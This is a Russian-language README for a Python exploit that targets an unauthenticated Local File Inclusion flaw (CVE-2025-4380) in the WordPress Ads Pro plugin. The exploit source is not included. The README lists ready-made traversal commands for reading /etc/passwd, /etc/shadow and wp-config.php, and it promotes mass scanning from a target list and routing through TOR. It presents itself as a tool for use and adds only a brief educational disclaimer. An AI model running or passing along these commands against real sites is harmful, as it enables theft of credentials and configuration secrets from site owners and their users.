CVE-2025-4380 - Эксплойт Local File Inclusion (LFI) для плагина Ads Pro <= 4.89

Описание

Этот Python-эксплойт нацелен на плагин Ads Pro ≤ 4.89 для WordPress, уязвимый к Local File Inclusion (LFI) через AJAX-действие bsa_preview_callback.

Неаутентифицированный злоумышленник может использовать эту уязвимость для чтения произвольных файлов из файловой системы сервера, включая такие чувствительные файлы, как /etc/passwd, wp-config.php и другие.

Возможности эксплойта

Эксплуатирует уязвимость LFI CVE-2025-4380.
Поддерживает одиночную цель или массовую эксплуатацию.
Сохраняет результаты в файл (опционально).
Поддерживает HTTP-прокси или маршрутизацию через TOR.
Механизм повторов для надёжности.

Использование

Одиночная цель

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd

Несколько целей (массовое сканирование)

python3 cve_2025_4380.py -l targets.txt -p ../../../../etc/shadow

Сохранение результата в файл

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd -o output.txt

Использование прокси (например, Burp, TOR)

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd --proxy http://127.0.0.1:8080

Параметры

Пример

Запрос/ответ Burpsuite

Ссылка на уязвимость

CVE-2025-4380
Плагин Ads Pro <= 4.89 - Local File Inclusion через bsa_template в bsa_preview_callback

⚠️ Отказ от ответственности

Этот эксплойт предоставлен только в образовательных целях и для авторизованного тестирования безопасности.

`-u`, `--url`	URL цели (например, `http://target.com`)	Нет
`-l`, `--list`	Файл со списком URL целей	Нет
`-p`, `--path`	Путь к файлу для включения (например, `../../etc/passwd`)	Да
`-o`, `--output`	Файл для сохранения результатов	Нет
`--proxy`	Прокси (например, `http://127.0.0.1:8080`)	Нет

CVE-2025-4380

Популярное